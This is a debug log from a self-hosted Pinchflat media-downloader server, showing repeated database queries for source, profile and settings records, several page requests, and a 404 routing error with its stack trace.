db=0.1ms idle=190.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 18:15:19.068 [debug] QUERY OK source="media_profiles" db=0.1ms idle=182.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:19.069 [debug] QUERY OK source="settings" db=0.0ms idle=182.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.069 [debug] QUERY OK source="settings" db=0.0ms idle=144.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.069 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.070 [info] Sent 200 in 2ms 18:15:19.107 [info] GET /sources/1/edit 18:15:19.107 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:15:19.108 [debug] QUERY OK source="sources" db=0.0ms idle=39.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:15:19.108 [debug] QUERY OK source="media_profiles" db=0.0ms idle=39.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:19.108 [debug] QUERY OK source="settings" db=0.0ms idle=39.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.108 [debug] QUERY OK source="settings" db=0.0ms idle=38.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.108 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.109 [info] Sent 200 in 1ms 18:15:19.118 [info] GET /sources/1/force_metadata_refresh 18:15:19.119 [debug] QUERY OK source="settings" db=0.1ms idle=10.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.119 [debug] QUERY OK source="settings" db=0.0ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.119 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:15:19.119 [error] #PID<0.23661.0> running PinchflatWeb.Endpoint (connection #PID<0.23660.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23660.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60366}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23661.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI8zNjcW8uJ28ACbSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23660.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60366}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23660.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60366}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23661.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216. (truncated) 18:15:19.144 [info] GET /sources/28 18:15:19.144 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "28"} Pipelines: [:browser] 18:15:19.144 [debug] QUERY OK source="sources" db=0.0ms idle=36.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 18:15:19.145 [debug] QUERY OK source="media_profiles" db=0.0ms idle=36.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:15:19.207 [info] GET /sources/28/edit 18:15:19.207 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "28"} Pipelines: [:browser] 18:15:19.207 [debug] QUERY OK source="sources" db=0.1ms idle=88.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 18:15:19.208 [debug] QUERY OK source="media_profiles" db=0.1ms idle=63.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:19.208 [debug] QUERY OK source="settings" db=0.0ms idle=63.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.208 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.208 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.209 [info] Sent 200 in 2ms 18:15:19.298 [info] GET /sources/22 18:15:19.298 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "22"} Pipelines: [:browser] 18:15:19.299 [debug] QUERY OK source="sources" db=0.1ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 18:15:19.299 [debug] QUERY OK source="media_profiles" db=0.0ms idle=90.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:15:19.389 [info] GET /sources/22/edit 18:15:19.389 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "22"} Pipelines: [:browser] 18:15:19.389 [debug] QUERY OK source="sources" db=0.1ms idle=90.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 18:15:19.390 [debug] QUERY OK source="media_profiles" db=0.0ms idle=90.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:19.390 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.553 [debug] QUERY OK source="tasks" db=253.9ms idle=90.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [22, "executing", "available", "scheduled", "retryable"] 18:15:19.553 [debug] QUERY OK source="settings" db=0.1ms queue=163.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.553 [info] GET /sources/40/edit 18:15:19.554 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "40"} Pipelines: [:browser] 18:15:19.554 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=163.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800366, 3668169] 18:15:19.554 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.554 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.554 [debug] QUERY OK source="sources" db=0.4ms idle=0.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 18:15:19.554 [debug] QUERY OK source="settings" db=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.555 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:19.555 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.555 [info] Sent 200 in 165ms 18:15:19.555 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.555 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.556 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.556 [debug] QUERY OK source="sources" db=0.1ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 18:15:19.556 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 18:15:19.557 [info] Sent 200 in 3ms 18:15:19.558 [debug] QUERY OK source="media_items" db=0.7ms queue=0.5ms idle=0.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [22, 10, 0] 18:15:19.558 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 